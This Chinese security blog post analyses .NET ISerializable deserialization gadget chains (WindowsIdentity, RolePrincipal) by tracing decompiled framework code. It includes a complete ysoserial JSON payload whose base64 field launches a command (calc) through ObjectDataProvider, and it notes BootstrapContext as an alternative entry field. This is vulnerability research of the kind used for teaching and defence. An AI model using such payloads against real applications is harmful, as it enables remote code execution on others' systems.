dotNet 反序列化ISerializable系列链分析

admin 2022年1月4日01:09:57代码审计评论19 views6750字阅读22分30秒阅读模式

ISerializable有哪些链:

  1. System.Web.Security.RolePrincipal

  2. System.Security.Principal.WindowsIdentity

  3. System.Security.Principal.WindowsPrincipal

  4. Microsoft.IdentityModel.Claims.WindowsClaimsIdentity

  5. System.IdentityModel.Tokens.SessionSecurityToken

这些链均具有一个相同的特点,那就是全部实现了ISerializable接口。

ISerializable接口介绍:

微软官方文档的介绍,说的很简单,我也看不懂:

允许对象控制其自己的序列化和反序列化过程。

但我们可以自己实现一个demo来进行观察ISerializable接口序列化与反序列化的过程Person类:

[Serializable]

public class Person : ISerializable{
public string FirstName { get; set; }
public string LastName { get; set; }
public string Name { get; set; }
public Person() { }
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData");
info.AddValue("Name", this.Name);
if (!string.IsNullOrWhiteSpace(this.Name))
{
info.AddValue("FirstName", this.Name.Split(' ')[0]);
info.AddValue("LastName", this.Name.Split(' ')[1]);
info.AddValue("xxoo", "Hello Hack");
}

}

}

main函数:

static void Main(string[] args)
{
Person person = new Person { Name = "小 红" };

string seriaData = JsonConvert.SerializeObject(person);
Console.WriteLine(seriaData);
Person personInfo = JsonConvert.DeserializeObject<Person>(seriaData);
Console.Read();
}

在运行代码后我们得到以下输出:

GetObjectData
{"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}

由上得出结论:

  1. info.AddValue会被反序列化

  2. 当实现ISerializable接口的类被序列化时会自动调用GetObjectData类来控制序列化的内容。

但在我查阅资料的过程中还发现了如下解释:

但与其他接口不同的是,为了Deserialization,我们还必须实现一个特殊的构造函数(我称此构造函数为“序列化构造函数”),此构造函数具有与GetObjectData相同的参数列表。

根据上面的说法,我们将Person类的代码改为:

[Serializable]

public class Person : ISerializable
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string Name { get; set; }
public Person() { }
protected Person(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("UserInfo被执行了!!!");
Name = info.GetString("Name");
FirstName = info.GetString("FirstName");
LastName = info.GetString("LastName");
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData");
info.AddValue("Name", this.Name);
if (!string.IsNullOrWhiteSpace(this.Name))
{
info.AddValue("FirstName", this.Name.Split(' ')[0]);
info.AddValue("LastName", this.Name.Split(' ')[1]);
info.AddValue("xxoo", "Hello Hack");
}

}
}

Main函数的代码不变,由此输出结果为:

GetObjectData
{"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
UserInfo被执行了!!!

做完上面的实验后,我们得出结论:在继承ISerializable接口后,序列化时会执行GetObjectData函数,反序列化时会自动调用与GetObjectData函数同样参数的构造函数。

System.Security.Principal.WindowsIdentity

现在我们在来看WindowsIdentity链,首先给出ysoserial.exe的WindowsIdentity链:

{
'$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'System.Security.ClaimsIdentity.actor': 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAsgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L'
}

首先查看WindowsIdentity的定义:

public class WindowsIdentity : ClaimsIdentity, ISerializable, IDeserializationCallback, IDisposable

既然我们刚刚了解了ISerializable接口的使用,所以我们现在只需要寻找GetObjectData函数同样参数的构造函数,代码如下:

public WindowsIdentity(SerializationInfo info, StreamingContext context)
: this(info)
{
}

跟进重载后的函数:

private WindowsIdentity(SerializationInfo info)
: base(info)
{
m_claimsInitialized = false;
IntPtr intPtr = (IntPtr)info.GetValue("m_userToken", typeof(IntPtr));
if (intPtr != IntPtr.Zero)
{
CreateFromToken(intPtr);
}
}

此函数调用了父类的构造函数,继续跟进:

[SecurityCritical]
protected ClaimsIdentity(SerializationInfo info)
{
if (info == null)
{
throw new ArgumentNullException("info");
}

Deserialize(info, default(StreamingContext), useContext: false);
}

到这里发现父类中的构造函数调用了反序列化Deserialize,查看函数定义:

dotNet 反序列化ISerializable系列链分析


我们发现函数首先调用了SerializationInfoEnumerator enumerator = info.GetEnumerator();,这个GetEnumerator方法其实就是遍历Info中的值,他会将你反序列化时所有的值载入进去。最终发现在以下分支存在反序列化的操作:

  1. System.Security.ClaimsIdentity.actor

case "System.Security.ClaimsIdentity.actor":
{
using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.actor"))))
{
m_actor = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
}

break;
}
  1. System.Security.ClaimsIdentity.claims

case "System.Security.ClaimsIdentity.claims":
DeserializeClaims(info.GetString("System.Security.ClaimsIdentity.claims"));
break;
  1. System.Security.ClaimsIdentity.bootstrapContext

case "System.Security.ClaimsIdentity.bootstrapContext":
{
using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.bootstrapContext"))))
{
m_bootstrapContext = binaryFormatter.Deserialize(serializationStream, null, fCheck: false);
}

break;
}

查看上诉所说的几个属性中claims是没有set方法的,所以是不能够利用的。剩下两个是存在set方法:

public ClaimsIdentity Actor
{
get
{
return m_actor;
}
set
{
if (value != null && IsCircular(value))
{
throw new InvalidOperationException(Environment.GetResourceString("InvalidOperationException_ActorGraphCircular"));
}

m_actor = value;
}
}

public object BootstrapContext
{
get
{
return m_bootstrapContext;
}
[SecurityCritical]
set
{
m_bootstrapContext = value;
}
}

那么这里就ysoseril生成的payload中就可以不使用Actor而使用BootstrapContext了。在分析完这个链后,我们还可以总结出规律:所有实现了ISerializable类且继承至System.Security.Claims.ClaimsIdentity类的方法均可以作为入口链的使用

System.Web.Security.RolePrincipal:

在分析完WindowsIdentity链后其他的链其实都已经不用分析了。以下所有的链分析都可以基于上面的模板进行分析:

  1. 查看SerializationInfo info, StreamingContext context构造函数:

protected RolePrincipal(SerializationInfo info, StreamingContext context)
: base(info, context)
{
...省略...
}

跟进base:

[SecurityCritical]
protected ClaimsPrincipal(SerializationInfo info, StreamingContext context)
{
if (info == null)
{
throw new ArgumentNullException("info");
}

Deserialize(info, context);
}

跟进Deserialize函数:

dotNet 反序列化ISerializable系列链分析


Identities属性:

public virtual IEnumerable<ClaimsIdentity> Identities => m_identities.AsReadOnly();

DeserializeIdentities函数:

dotNet 反序列化ISerializable系列链分析


总结:

一路通则路路通,索然无味了起来

参考连接:

https://www.anquanke.com/post/id/172920#h3-5
https://blog.csdn.net/u011877729/article/details/10756397



来源:先知



dotNet 反序列化ISerializable系列链分析

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

dotNet 反序列化ISerializable系列链分析

当才华支撑不住你的野心时
你就应该静下心来读书学习

原文始发于微信公众号(衡阳信安):dotNet 反序列化ISerializable系列链分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月4日01:09:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  dotNet 反序列化ISerializable系列链分析 http://cn-sec.com/archives/716694.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: